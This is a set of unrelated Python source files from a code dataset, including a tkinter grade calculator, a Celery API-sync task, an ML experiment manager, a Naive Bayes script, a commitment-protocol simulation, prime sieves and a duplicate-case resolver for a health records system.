self.entryPsicoMed = tkinter.Entry(self)\n self.entryPsicoMed.grid(column=8, row=7, sticky=\"EW\")\n\n #Botão que realiza os cálculos\n self.crPassado = tkinter.Label(self, text=\"Seu C.R passado era:\")\n self.crPassado.grid(column=0, row=8, sticky=\"EW\")\n\n self.entryCrPassado = tkinter.Entry(self)\n self.entryCrPassado.grid(column=2, row=8, sticky=\"EW\")\n\n self.crAtual = tkinter.Label(self, text=\"Seu C.R atual é:\")\n self.crAtual.grid(column=4, row=8, sticky=\"EW\")\n\n self.entryCrAtual = tkinter.Entry(self)\n self.entryCrAtual.grid(column=6, row=8, sticky=\"EW\")\n\n self.botaoSee = tkinter.Button(self, text=\"Calcule\", command=self.setOnClickListener)\n self.botaoSee.grid(column=8, row=8, sticky=\"EW\")\n\n def setOnClickListener(self): #Função que funciona no clique do botão\n\n #Variáveis pegam os valores dos campos de entrada e transformam em 'strings'\n #Transformando em strings para realizar o condicional a seguir\n AdmSI1 = str(self.entryAdmSI1.get())\n AdmSI2 = str(self.entryAdmSI2.get())\n AdmSI3 = str(self.entryAdmSI3.get())\n\n if (AdmSI3 == \"\" and AdmSI2 != \"\"): #Aqui o analisa-se se o aluno tem todas as notas ou não\n AdmSIMed = (float(AdmSI1) + float(AdmSI2)) / 2 #Cálculo da média para duas notas\n\n elif (AdmSI3 == \"f\" and AdmSI2 == \"\" ):\n AdmSIMed = float(AdmSI1) #Cálculo da média para uma nota\n\n else:\n AdmSIMed = (float(AdmSI1) + float(AdmSI2) + float(AdmSI3)) / 3 #Cálculo da média para três notas\n\n self.entryAdmSIMed.delete(0, tkinter.END) #Deleta qualquer informação presente no campo do Resultado\n self.entryAdmSIMed.insert(0, str(AdmSIMed))#Insere a média obtida no campo de resultado\n\n AdmEst1 = str(self.entryAdmEst1.get())\n AdmEst2 = str(self.entryAdmEst2.get())\n AdmEst3 = str(self.entryAdmEst3.get())\n\n if (AdmEst3 == \"\" and AdmEst2 != \"\"):\n AdmEstMed = (float(AdmEst1) + float(AdmEst2))/2\n\n elif (AdmEst3 == \"\" and AdmEst2 == \"\"):\n AdmEstMed = float(AdmEst1)\n\n else:\n AdmEstMed = (float(AdmEst1) + float(AdmEst2) + float(AdmEst3)) / 3\n\n self.entryAdmEstMed.delete(0,tkinter.END)\n self.entryAdmEstMed.insert(0, str(AdmEstMed))\n\n Calc1 = str(self.entryCalc1.get())\n Calc2 = str(self.entryCalc2.get())\n Calc3 = str(self.entryCalc3.get())\n\n if (Calc3 == \"\" and Calc2 != \"\"):\n CalcMed = (float(Calc1) + float(Calc2))/2\n\n elif (Calc3 == \"\" and Calc2 == \"\"):\n CalcMed = float(Calc1)\n\n else:\n CalcMed = (float(Calc1) + float(Calc2) + float(Calc3)) / 3\n\n self.entryCalcMed.delete(0, tkinter.END)\n self.entryCalcMed.insert(0, str(CalcMed))\n\n Web01 = str(self.entryWeb01.get())\n Web02 = str(self.entryWeb02.get())\n Web03 = str(self.entryWeb03.get())\n\n if (Web03 == \"\" and Web02 != \"\"):\n Web0Med = (float(Web01) + float(Web02))/2\n\n elif (Web03 == \"\" and Web02 == \"\"):\n Web0Med = float(Web01)\n else:\n Web0Med = (float(Web01) + float(Web02) + float(Web03)) / 3\n\n self.entryWeb0Med.delete(0, tkinter.END)\n self.entryWeb0Med.insert(0, str(Web0Med))\n\n LPII1 = str(self.entryLPII1.get())\n LPII2 = str(self.entryLPII2.get())\n LPII3 = str(self.entryLPII3.get())\n\n if (LPII3 == \"\" and LPII2 != \"\"):\n LPIIMed = (float(LPII1) + float(LPII2))/2\n elif (LPII3 == \"\" and LPII2 == \"\"):\n LPIIMed = float(LPII1)\n else:\n LPIIMed = (float(LPII1) + float(LPII2) + float(LPII3)) / 3\n\n self.entryLPIIMed.delete(0, tkinter.END)\n self.entryLPIIMed.insert(0, str(LPIIMed))\n\n Psico1 = str(self.entryPsico1.get())\n Psico2 = str(self.entryPsico2.get())\n Psico3 = str(self.entryPsico3.get())\n\n if (Psico3 == \"\" and Psico2 != \"\"):\n PsicoMed = (float(Psico1) + float(Psico2))/2\n\n elif (Psico3 == \"\" and Psico2 == \"\"):\n PsicoMed = float(Psico1)\n\n else:\n PsicoMed = (float(Psico1) + float(Psico2) + float(Psico3)) / 3\n\n self.entryPsicoMed.delete(0, tkinter.END)\n self.entryPsicoMed.insert(0, str(PsicoMed))\n\n CrPassado = str(self.entryCrPassado.get()) #Variável pega o valor do C.R antigo e transforma em 'string'\n MediaDisc = (AdmEstMed + AdmSIMed + CalcMed + LPIIMed + Web0Med + PsicoMed) / 6 #Cálculo da média de todas as disciplinas\n CrAtual = (float(CrPassado) + MediaDisc)/2 #Média do C.R passado somado à média das disciplinas\n\n self.entryCrAtual.delete(0,tkinter.END)\n self.entryCrAtual.insert(0,str(CrAtual))\n\n\n\nif (__name__ == \"__main__\"):\n app = minhaApp_tk(None) #Criamos uma aplicação sem nenhum pai, pois é a principal.\n app.title('Meu C.R baixo!') #Especificamos o título de nossa aplicação\n app.mainloop() #Mantém o programa rodando em loop","sub_path":"meucrbaixo.py","file_name":"meucrbaixo.py","file_ext":"py","file_size_in_byte":9993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"58148292","text":"import logging\n\nfrom celery import shared_task\n\nfrom api.models import Coalition, CoalitionUser, Student\nfrom api.client import FortyTwoClient\n\nclient = FortyTwoClient()\nlogger = logging.getLogger(__name__)\n\n\n@shared_task\ndef fetch_coalition_user():\n page = 1\n res = client.get(\n f\"/coalitions_users?page[number]={page}&page[size]=100&filter[campus_id]=1\"\n )\n while len(res.json()) != 0:\n logger.info(page)\n for coalition_user in res.json():\n cursus = get_coalition(coalition_user[\"cursus_id\"])\n user = get_user(coalition_user[\"user\"][\"id\"])\n CoalitionUser.objects.get_or_create(\n score=coalition_user[\"score\"],\n rank=coalition_user[\"rank\"],\n user_id=user,\n cursus_id=cursus[0],\n )\n page += 1\n res = client.get(\n f\"/coalitions_users?page[number]={page}&page[size]=100&filter[campus_id]=1\"\n )\n\n\ndef get_user(user_id):\n user = Student.objects.filter(user_id=user_id)\n if user.exists():\n return user[0]\n else:\n res = client.get(f\"/users/{user_id}\")\n login = res.json()[\"login\"]\n user = Student(user_id=user_id, login=login)\n user.save()\n logger.info(f\"Student {login} created\")\n return user\n\n\ndef get_coalition(coalition_id):\n coalition = Coalition.objects.filter(coalition_id=coalition_id)\n if coalition.exists():\n return coalition[0]\n else:\n res = client.get(f\"/coalitions/{coalition_id}\")\n data = res.json()\n coalition = Coalition(\n coalition_id=coalition_id,\n name=data[\"name\"],\n slug=data[\"slug\"],\n color=data[\"color\"],\n score=data[\"score\"],\n )\n coalition.save()\n return coalition\n","sub_path":"api/tasks/coalition.py","file_name":"coalition.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"179330828","text":"import datetime\nimport re\nimport shutil\nfrom pathlib import Path\nfrom typing import Union\n\nfrom tabml.config_helpers import parse_pipeline_config\n\n\nclass ExperimentManger:\n \"\"\"Class managing folder structure of an experiment.\n\n For each experiment, there will be one run_dir under exp_root_dir that contains\n all related information about the run, e.g. run log, config file, submission\n csv file, trained model, and a model_analysis folder.\n\n Attributes:\n exp_root_dir: root directory of all experiments.\n run_prefix: prefix of the run name subfolder inside exp_root_dir.\n run_dir: run dir name (run_prefix + timestamp).\n \"\"\"\n\n log_filename = \"run.log\"\n config_filename = \"config.yaml\"\n _model_analysis_dir = \"model_analysis\"\n\n def __init__(\n self,\n path_to_config: str,\n should_create_new_run_dir: bool = True,\n exp_root_dir: Path = Path(\"./experiments\"),\n custom_run_dir: Union[None, Path] = None,\n ):\n \"\"\"\n Args:\n path_to_config: path to pipeline config file.\n should_create_new_run_dir: create new experiment subfolder (True) or not\n (False). If not, set the experiment subfolder to the most recent run.\n run_prefix: prefix of the run name subfolder inside exp_root_dir\n run_dir: run dir name (exp_root_dir/run_prefix + timestamp)\n custom_run_dir: custom run dir that user can specify\n \"\"\"\n self._path_to_config = path_to_config\n self._config = parse_pipeline_config(self._path_to_config)\n self.exp_root_dir = exp_root_dir\n self.run_prefix = self._config.config_name + \"_\"\n self.custom_run_dir = custom_run_dir\n if not custom_run_dir or not custom_run_dir.name:\n self.run_dir = self._get_run_dir(should_create_new_run_dir)\n else:\n self.run_dir = custom_run_dir\n\n def _get_run_dir(self, should_create_new_run_dir):\n if not should_create_new_run_dir:\n return self.get_most_recent_run_dir()\n return self.exp_root_dir.joinpath(self.run_prefix + _get_time_stamp())\n\n def create_new_run_dir(self):\n _make_dir_if_needed(self.run_dir)\n self._copy_config_file()\n\n def _copy_config_file(self):\n shutil.copyfile(self._path_to_config, self.get_config_path())\n\n def get_log_path(self):\n return self._make_path_under_run_dir(self.log_filename)\n\n def get_config_path(self):\n return self._make_path_under_run_dir(self.config_filename)\n\n def get_model_analysis_dir(self):\n res = self._make_path_under_run_dir(self._model_analysis_dir)\n _make_dir_if_needed(res)\n return res\n\n def _make_path_under_run_dir(self, sub_path: str) -> str:\n return self.run_dir.joinpath(sub_path)\n\n def get_most_recent_run_dir(self):\n \"\"\"Returns the run_dir corresponding to the most recent timestamp.\n\n Raises:\n IOError if there is no such folder\n \"\"\"\n if self.custom_run_dir:\n ValueError(\"get_most_recent_run_dir does not support custom run dir\")\n subfolders = sorted(\n [\n sub\n for sub in self.exp_root_dir.iterdir()\n if sub.is_dir()\n and sub.name.startswith(self.run_prefix)\n and bool(re.match(\"[0-9]{6}_[0-9]{6}\", sub.name[-13:]))\n ],\n key=lambda x: x.name[-13:], # YYmmDD_HHMMSS\n )\n if not subfolders:\n raise IOError(\n \"Could not find any run directory starting with \"\n f\"{self.exp_root_dir.joinpath(self.run_prefix)}\"\n )\n return subfolders[-1]\n\n @classmethod\n def get_config_path_from_model_path(cls, model_path: str) -> str:\n run_dir = Path(model_path).parents[0]\n return str(run_dir / cls.config_filename)\n\n\ndef _make_dir_if_needed(dir_path: str):\n if not Path(dir_path).exists():\n Path(dir_path).mkdir(parents=True)\n\n\ndef _get_time_stamp() -> str:\n \"\"\"Returns a time stamp string in format 'YYmmdd_HHMMSS'.\n\n Example: 200907_123344.\n \"\"\"\n return datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\")[2:]\n","sub_path":"tabml/experiment_manager.py","file_name":"experiment_manager.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433503700","text":"from filecmp import cmp\nfrom functools import cmp_to_key\n\nimport numpy as np\n\nif __name__ == '__main__':\n person_type = np.dtype({\n 'names': ['name', 'age', 'chinese', 'english', 'math'],\n 'formats': ['S32', 'i', 'i', 'i', 'f']\n })\n\n peoples = np.array([(\"ZF\", 32, 66, 65, 30),\n (\"GY\", 24, 95, 85, 98),\n (\"ZY\", 28, 93, 92, 96),\n (\"HZ\", 29, 90, 88, 77),\n (\"WD\", 29, 80, 90, 90)\n ], dtype=person_type)\n\n ages = peoples[:]['age']\n chineses = peoples[:]['chinese']\n maths = peoples[:]['math']\n englishs = peoples[:]['english']\n\n print(\"语文平均成绩={},最小成绩={},最大成绩={},方差={},标准差={}\".format(\n np.mean(chineses), np.min(chineses), np.max(chineses), np.var(chineses), np.std(chineses)))\n\n ranking = sorted(peoples, key=cmp_to_key(lambda x, y: int(x[2]+x[3]+x[4])-int(y[2]+y[3]+y[4])), reverse=True)\n print(ranking)\n\n\n","sub_path":"python-test/com/lzq/analysis/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217252354","text":"# Defining lists to populate dictionary \nfilenames = [\"Beagle_01141.jpg\", \"Beagle_01125.jpg\", \"skunk_029.jpg\" ]\npet_labels = [\"beagle\", \"beagle\", \"skunk\"]\nclassifier_labels = [\"walker hound, walker foxhound\", \"beagle\",\n \"skunk, polecat, wood pussy\"]\npet_label_is_dog = [1, 1, 0]\nclassifier_label_is_dog = [1, 1, 0]\n\n# Defining empty dictionary\nresults_dic = dict()\n\n# Populates empty dictionary with both labels &indicates if they match (idx 2)\nfor idx in range (0, len(filenames), 1):\n # If first time key is assigned initialize the list with pet & \n # classifier labels\n if filenames[idx] not in results_dic:\n results_dic[filenames[idx]] = [ pet_labels[idx], classifier_labels[idx] ]\n\n # Determine if pet_labels matches classifier_labels using in operator\n # - so if pet label is 'in' classifier label it's a match\n # ALSO since Key already exists because labels were added, append \n # value to end of list for idx 2 \n # if pet image label was FOUND then there is a match \n if pet_labels[idx] in classifier_labels[idx]:\n results_dic[filenames[idx]].append(1)\n\n # if pet image label was NOT found then there is no match\n else:\n results_dic[filenames[idx]].append(0)\n\n# Populates dictionary with whether or not labels indicate a dog image (idx 3&4)\nfor idx in range (0, len(filenames), 1):\n # Key already exists, extend values to end of list for idx 3 & 4\n results_dic[filenames[idx]].extend(pet_label_is_dog[idx], \n classifier_label_is_dog[idx])\n\n# Iterates through the list to print the results for each filename\nfor key in results_dic:\n print(\"\\nFilename=\", key, \"\\npet_image Label=\", results_dic[key][0],\n \"\\nClassifier Label=\", results_dic[key][1], \"\\nmatch=\",\n results_dic[key][2], \"\\nImage is dog=\", results_dic[key][3],\n \"\\nClassifier is dog=\", results_dic[key][4]) \n\n # Provides classifications of the results\n if sum(results_dic[key][2:]) == 3:\n print(\"*Breed Match*\")\n if sum(results_dic[key][3:]) == 2:\n print(\"*Is-a-Dog Match*\")\n if sum(results_dic[key][3:]) == 0 and results_dic[key][2] == 1:\n print(\"*NOT-a-Dog Match*\")","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"123190258","text":"#!/usr/bin/env python\nimport re\n\nfrom EPPs.common import StepEPP, InvalidStepError\n\n\nclass CheckContainerName(StepEPP):\n \"\"\"\n Checks that the container name(s) assigned by the user has the correct format for a seqlab plate with the standard\n seqlab prefix \"LP[0-9]{7}-\" and the suffix(es) specified by an argument. The number of suffixes is no limited but\n script assumes that each suffix is only used once and that the suffixes are applied to the output containers in\n the same order as they appear in the suffix argument\n \"\"\"\n _use_load_config = False # prevent the loading of the config file\n def __init__(self, argv=None):\n # extra suffix argument required in addition to standard arg parser arguments\n super().__init__(argv)\n self.suffix = self.cmd_args.suffix\n\n @staticmethod\n def add_args(argparser):\n argparser.add_argument(\n '-x', '--suffix', nargs='*',\n help='Set the suffix of the container name(s) in order plates should appear'\n )\n\n def _run(self):\n \"\"\"\n Check to see if the names of the containers in the step match any of the allowed name formats which are defined by the fixed name_template\n prefix and a number of suffixes supplied by suffix argument.\n \"\"\"\n containers = self.process.output_containers()\n\n suffixes = self.suffix\n\n\n for container in containers:\n valid_container=False\n for suffix in suffixes:\n name_template = 'LP[0-9]{7}-' + suffix\n if re.match(name_template, container.name):\n valid_container=True\n if valid_container==False:\n raise InvalidStepError(\"Container name %s is not valid for the step. Expected name format is prefix 'LP[0-9]{7}-' with one of the following suffixes: %s.\" %(container.name, suffixes))\n\n\n\nif __name__ == '__main__':\n CheckContainerName().run()\n","sub_path":"scripts/check_container_name.py","file_name":"check_container_name.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"23057077","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plot\nfrom matplotlib.colors import ListedColormap\nimport numpy as np\n\ndatasets = pd.read_csv(\"Bayes/Social_Network_Ads.csv\")\n\nX = datasets.iloc[:,2:4].values\nY = datasets.iloc[:,4].values\n\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.25,random_state=0)\n\nsscaler = StandardScaler()\nX_train = sscaler.fit_transform(X_train)\nX_test = sscaler.transform(X_test)\n\nclassifer = GaussianNB()\nclassifer.fit(X_train,Y_train)\n\nY_predct = classifer.predict(X_test)\n\ntruth = confusion_matrix(Y_test,Y_predct)\n\n##visulae the Graph\nX , Y = X_train,Y_train\n\nX_set, y_set = X_test,Y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplot.contourf(X1, X2, classifer.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplot.xlim(X1.min(), X1.max())\nplot.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plot.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplot.title('Navie Bayes (Test set)')\nplot.xlabel('Age')\nplot.ylabel('Estimated Salary')\nplot.legend()\nplot.show()","sub_path":"NaiveBayes.py","file_name":"NaiveBayes.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"561594910","text":"from utils import waits\nfrom messages import *\nfrom itm import fork, forever\nimport gevent\n\ndef env(k, static, z2p, z2f, z2a, a2z, f2z, p2z, pump):\n sid = ('one', 1, 2)\n static.write( (('sid',sid), ('crupt',)))\n\n transcript = []\n def _p2z():\n while True:\n m = waits(p2z)\n transcript.append('p2z: ' + str(m.msg))\n print('p2z: ' + str(m.msg))\n pump.write('')\n\n def _a2z():\n while True:\n m = waits(a2z)\n transcript.append('a2z:' + str(m.msg))\n print('a2z:' + str(m.msg))\n pump.write('')\n\n gevent.spawn(_p2z)\n gevent.spawn(_a2z)\n\n z2p.write( ((sid,1), ('commit',0)), 3 )\n waits(pump)\n\n z2p.write( ((sid,1), ('reveal',)), 1 )\n waits(pump)\n\n print('transcript', transcript)\n return transcript\n\ndef env2(k, static, z2p, z2f, z2a, a2z, f2z, p2z, pump):\n print('its this one')\n sid = ('one', 1, 2)\n static.write( (('sid',sid), ('crupt', (sid,2))))\n\n transcript = []\n def _p2z():\n while True:\n m = waits(p2z)\n transcript.append('p2z: ' + str(m.msg))\n print('p2z: ' + str(m.msg))\n pump.write('')\n\n def _a2z():\n while True:\n m = waits(a2z)\n transcript.append('a2z:' + str(m.msg))\n print('a2z:' + str(m.msg))\n pump.write('')\n\n gevent.spawn(_p2z)\n gevent.spawn(_a2z)\n\n z2p.write( ((sid,1), ('commit',0)), 3)\n waits(pump)\n\n z2p.write( ((sid,1), ('reveal',)), 1)\n waits(pump)\n\n #print('transcript', transcript)\n return transcript\n\ndef distinguisher(t_ideal, t_real):\n print('\\n\\t\\033[93m Ideal transcript\\033[0m')\n for i in t_ideal: print(i)\n\n print('\\n\\t\\033[93m real transcript\\033[0m')\n for i in t_real: print(i)\n\n if t_ideal == t_real:\n print(\"\\033[92m[Distinguisher] They're the same\\033[0m\")\n else:\n print(\"\\033[91m[Distinguisher] They're different\\033[0m\")\n\nfrom itm import ProtocolWrapper, protocolWrapper\nfrom adversary import DummyAdversary\nfrom commitment import F_Com, Random_Oracle_and_Chan, Commitment_Prot\nfrom execuc import execUC\nfrom numpy.polynomial.polynomial import Polynomial\nfrom f_com import F_Com\nfrom sim_com import Sim_Com\nfrom itm import PartyWrapper, partyWrapper\nfrom lemmaS import Lemma_Simulator, lemmaS\n\nif __name__=='__main__':\n treal = execUC(\n 128,\n env2,\n [('F_ro', Random_Oracle_and_Chan)],\n protocolWrapper(Commitment_Prot),\n DummyAdversary,\n poly=Polynomial([1,2,3])\n )\n\n print('\\n')\n tideal = execUC(\n 128,\n env2,\n [('F_com',F_Com)],\n partyWrapper('F_com'),\n Sim_Com,\n #lemmaS(Sim_Com, Polynomial([1,2,3]), DummyAdversary),\n poly=Polynomial([0,1])\n )\n\n distinguisher(tideal, treal)\n","sub_path":"apps/commitment/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399278140","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('cms_blogger', '0004_auto_20151009_1024'),\n ]\n\n operations = [\n migrations.AlterIndexTogether(\n name='blogentrypage',\n index_together=set([('blog', 'is_published', 'publication_date')]),\n ),\n ]\n","sub_path":"cms_blogger/migrations/0005_add_blogentrypage_index.py","file_name":"0005_add_blogentrypage_index.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500063409","text":"#Write a program to determine if a number, given on the command line, is prime.\n\n#Example 1\n\nfrom rsa import prime\n\ndef prime_erastosthenes(n):\n prime_list = []\n for i in range(2, n+1):\n if i not in prime_list:\n print (i)\n for j in range(i*i, n+1, i):\n prime_list.append(j)\n\nprint(prime_erastosthenes(200));\n\n#Example 2\n\ndef SieveOfEratosthenes(n): \n prime = [True for i in range(n + 1)] \n p = 2\n while (p * p <= n): \n if (prime[p] == True): # If prime[p] is not changed.\n for i in range(p * 2, n + 1, p): # Update all multiples of p\n prime[i] = False\n p += 1\n prime[0]= False\n prime[1]= False\n \n for p in range(n + 1): # Print all prime numbers \n if prime[p]: \n print (p), \n \n # driver program \n if __name__=='__main__': \n n = 30\n print (\"The prime smaller\"), \n print (\"than or equal to\"), n \n SieveOfEratosthenes(n)\n\n#Example 3\n#Only select teh list of continen the prime numbers.\n#1. Make a list of all numbers from 2 to n.\n#2. Stargint from 2, delete all of its multiples in the list, except itself.\n#3. Repeat the step 2 till square root of n.\n#4. The remaining list only contains prime numbers.\n\nimport math\n\n\nprint (\"Enter the a number\")\nnumber = int(input())\n\nprimes = []\nfor i in range(2,number+1):\n primes.append(i)\ni = 2\nwhile(i <= int(math.sqrt(number))): \n if i in primes:\n for j in range(i*2, number+1, i):\n if j in primes:\n primes.remove(j)\n i = i+1\nprint (primes)","sub_path":"src/sieve_of_eratosthenes.py","file_name":"sieve_of_eratosthenes.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"560307762","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport csv\nimport datetime\nfrom six.moves import filter\nfrom django.core.management.base import BaseCommand\nfrom unidecode import unidecode\n\nfrom memoized import memoized\n\nfrom corehq.apps.case_search.models import CLAIM_CASE_TYPE\nfrom corehq.apps.locations.models import SQLLocation\nfrom corehq.apps.hqcase.utils import bulk_update_cases\nfrom corehq.form_processor.interfaces.dbaccessors import CaseAccessors\nfrom corehq.util.log import with_progress_bar\n\nfrom custom.enikshay.case_utils import (\n CASE_TYPE_EPISODE,\n CASE_TYPE_INVESTIGATION,\n CASE_TYPE_OCCURRENCE,\n CASE_TYPE_PERSON,\n CASE_TYPE_REFERRAL,\n CASE_TYPE_SECONDARY_OWNER,\n CASE_TYPE_TEST,\n CASE_TYPE_TRAIL,\n get_all_vouchers_from_person,\n)\nfrom custom.enikshay.duplicate_ids import (\n get_duplicated_case_stubs, ReadableIdGenerator)\nfrom custom.enikshay.user_setup import join_chunked\n\n\nclass Command(BaseCommand):\n help = \"\"\"\n Finds cases with duplicate IDs and marks all but one of each ID as a duplicate\n \"\"\"\n logfile_fields = [\n # person-case properties always logged\n 'person_case_id', 'person_name', 'dto_name', 'phi_name', 'owner_id',\n 'dob', 'phone_number', 'dataset', 'enrolled_in_private',\n # case-specific properties that may be updated\n 'case_type', 'case_id', 'name', 'person_id', 'person_id_flat',\n 'person_id_deprecated', 'person_id_flat_deprecated',\n 'person_id_at_request', 'person_id_flat_at_request',\n ]\n\n def add_arguments(self, parser):\n parser.add_argument('domain')\n parser.add_argument(\n '--commit',\n action='store_true',\n dest='commit',\n default=False,\n )\n\n def handle(self, domain, **options):\n self.domain = domain\n self.accessor = CaseAccessors(domain)\n commit = options['commit']\n self.id_generator = ReadableIdGenerator(domain, commit)\n\n filename = '{}-{}.csv'.format(self.__module__.split('.')[-1],\n datetime.datetime.now().strftime('%Y-%m-%d_%H.%M.%S'))\n print(\"Logging actions to {}\".format(filename))\n with open(filename, 'w') as f:\n logfile = csv.DictWriter(f, self.logfile_fields, extrasaction='ignore')\n logfile.writeheader()\n\n print(\"Finding duplicates\")\n bad_case_stubs = get_duplicated_case_stubs(self.domain, CASE_TYPE_PERSON)\n bad_cases = self.accessor.iter_cases(stub['case_id'] for stub in bad_case_stubs)\n\n print(\"Processing duplicate cases\")\n for person_case in with_progress_bar(bad_cases, len(bad_case_stubs)):\n if person_case.get_case_property('enrolled_in_private') == 'true':\n updates = list(filter(None, self.get_private_updates(person_case)))\n else:\n updates = list(filter(None, self.get_public_updates(person_case)))\n\n person_info = self.get_person_case_info(person_case)\n for case, update in updates:\n log = {unidecode(k): unidecode(v)\n for d in [person_info, update] for k, v in d.items() if v}\n log['case_type'] = case.type\n log['case_id'] = case.case_id\n logfile.writerow(log)\n\n if commit:\n update_tuples = [(case.case_id, update, False)\n for case, update in updates]\n bulk_update_cases(self.domain, update_tuples, self.__module__)\n\n @memoized\n def get_private_phi_and_dto(self, owner_id):\n try:\n owner = SQLLocation.objects.get(domain=self.domain, location_id=owner_id)\n dto_name = (owner.get_ancestors(include_self=True)\n .get(location_type__code='dto')\n .name)\n return owner.name, dto_name\n except SQLLocation.DoesNotExist:\n return None, None\n\n def get_person_case_info(self, person_case):\n \"\"\"Pull info that we want to log but not update\"\"\"\n person = person_case.dynamic_case_properties()\n if person.get('enrolled_in_private') == 'true':\n phi_name, dto_name = self.get_private_phi_and_dto(person_case.owner_id)\n else:\n dto_name = person.get('dto_name')\n phi_name = person.get('phi_name')\n return {\n 'person_case_id': person_case.case_id,\n 'person_name': ' '.join(filter(None, [person.get('first_name'), person.get('last_name')])),\n 'enrolled_in_private': person.get('enrolled_in_private'),\n 'dto_name': dto_name,\n 'phi_name': phi_name,\n 'owner_id': person_case.owner_id,\n 'dob': person.get('dob'),\n 'phone_number': person.get('phone_number'),\n 'dataset': person.get('dataset'),\n }\n\n def get_public_updates(self, person_case):\n \"\"\" Get updates for a public sector person case and a bunch of its children\n https://docs.google.com/document/d/1NS5ozgk7w-2AADsrdTtjgqODkgWIEaCw6eqQ0cLg138/edit#\n \"\"\"\n old_id = person_case.get_case_property('person_id')\n new_flat_id = self.id_generator.get_next()\n new_id = join_chunked(new_flat_id, 3)\n yield get_case_update(person_case, {\n 'person_id_deprecated': old_id,\n 'person_id_flat_deprecated': person_case.get_case_property('person_id_flat'),\n 'person_id': new_id,\n 'person_id_flat': new_flat_id,\n })\n\n for person_child_case in self.accessor.get_reverse_indexed_cases([person_case.case_id]):\n\n # Update occurrence and claim names\n if person_child_case.type in (CASE_TYPE_OCCURRENCE, CLAIM_CASE_TYPE):\n yield get_name_update(person_child_case, old_id, new_id)\n\n # look at all extensions of the occurrence cases\n if person_child_case.type == CASE_TYPE_OCCURRENCE:\n for case in self.accessor.get_reverse_indexed_cases([person_child_case.case_id]):\n\n # update the names of episode, secondary_owner, trail, and referral cases\n if case.type in (CASE_TYPE_EPISODE, CASE_TYPE_SECONDARY_OWNER,\n CASE_TYPE_TRAIL, CASE_TYPE_REFERRAL):\n yield get_name_update(case, old_id, new_id)\n\n if case.type == CASE_TYPE_TEST:\n yield get_case_update(case, {\n 'person_id_at_request': new_id,\n 'person_id_flat_at_request': new_flat_id\n })\n\n if case.type == CASE_TYPE_EPISODE:\n for investigation_case in self.accessor.get_reverse_indexed_cases([case.case_id]):\n if investigation_case.type == CASE_TYPE_INVESTIGATION:\n yield get_name_update(investigation_case, old_id, new_id)\n\n def get_private_updates(self, person_case):\n \"\"\" Get updates for a private sector person case and a bunch of its children\n https://docs.google.com/document/d/1NS5ozgk7w-2AADsrdTtjgqODkgWIEaCw6eqQ0cLg138/edit#\n \"\"\"\n old_id = person_case.get_case_property('person_id')\n new_flat_id = self.id_generator.get_next()\n new_id = join_chunked(new_flat_id, 3)\n yield get_case_update(person_case, {\n 'person_id_deprecated': old_id,\n 'person_id_flat_deprecated': person_case.get_case_property('person_id_flat'),\n 'person_id': new_id,\n 'person_id_flat': new_flat_id,\n })\n\n for voucher_case in get_all_vouchers_from_person(self.domain, person_case):\n yield get_case_update(voucher_case, {\n 'person_id': new_id,\n 'person_id_flat': new_flat_id,\n })\n\n\ndef get_case_update(case, update):\n # check that this is actually an update, else return None\n if any(case.get_case_property(k) != v for k, v in update.items()):\n return (case, update)\n\n\ndef get_name_update(case, old_id, new_id):\n if case.get_case_property('name') and old_id:\n new_name = case.get_case_property('name').replace(old_id, new_id)\n return get_case_update(case, {'name': new_name})\n","sub_path":"custom/enikshay/management/commands/resolve_duplicate_persons.py","file_name":"resolve_duplicate_persons.py","file_ext":"py","file_size_in_byte":8456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"651712607","text":"import pandas as pd\nimport pkg_resources as pr\n\n\ndef read_metadata(f):\n df = pd.read_csv(f, header=None, delim_whitespace=True)\n df = df.rename(columns={0: 'id', 1: 'pixres', 14: 'lit_status'})\n df = df.set_index('id')\n df['is_lit'] = df.lit_status is True\n # df.drop('lit_status', axis=1)\n return df\n\nwith pr.resource_stream('pyciss', 'data/metadata.txt') as f:\n meta_df = read_metadata(f)\n\n\n# 